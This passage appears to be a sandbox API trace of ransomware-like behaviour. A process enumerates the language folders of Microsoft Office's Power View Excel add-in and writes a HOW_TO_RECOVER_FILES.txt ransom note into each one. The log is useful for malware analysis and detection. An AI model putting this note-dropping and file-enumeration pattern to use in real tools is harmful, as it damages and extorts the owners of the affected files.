nFileSizeLow=0x50ee1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ar.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0221.361] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50ee1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ar.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0221.361] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0221.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0221.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0221.362] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0221.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0221.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0221.363] GetFileType (hFile=0x82c) returned 0x1 [0221.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0221.363] GetFileType (hFile=0x82c) returned 0x1 [0221.364] WriteFile (in: hFile=0x82c, lpBuffer=0x3760290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3760290*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0221.365] CloseHandle (hObject=0x82c) returned 1 [0221.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0221.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg", lpFilePart=0x0) returned 0x51 [0221.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b460 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0221.366] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.bg.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0221.367] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.367] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0221.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0221.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0221.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0221.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg", lpFilePart=0x0) returned 0x51 [0221.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0221.368] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.368] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0221.369] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0221.369] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0221.495] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0222.572] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.572] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.bg.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.573] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.bg.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.573] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0222.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0222.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0222.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0222.575] GetFileType (hFile=0x82c) returned 0x1 [0222.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0222.575] GetFileType (hFile=0x82c) returned 0x1 [0222.576] WriteFile (in: hFile=0x82c, lpBuffer=0x35cd480*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35cd480*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0222.577] CloseHandle (hObject=0x82c) returned 1 [0222.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.577] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca", lpFilePart=0x0) returned 0x51 [0222.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0222.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.578] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.579] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ca.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.579] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.579] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0222.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0222.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca", lpFilePart=0x0) returned 0x51 [0222.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0222.580] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ca.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0222.581] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ca.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0222.581] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0222.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0222.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0222.582] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0222.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0222.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 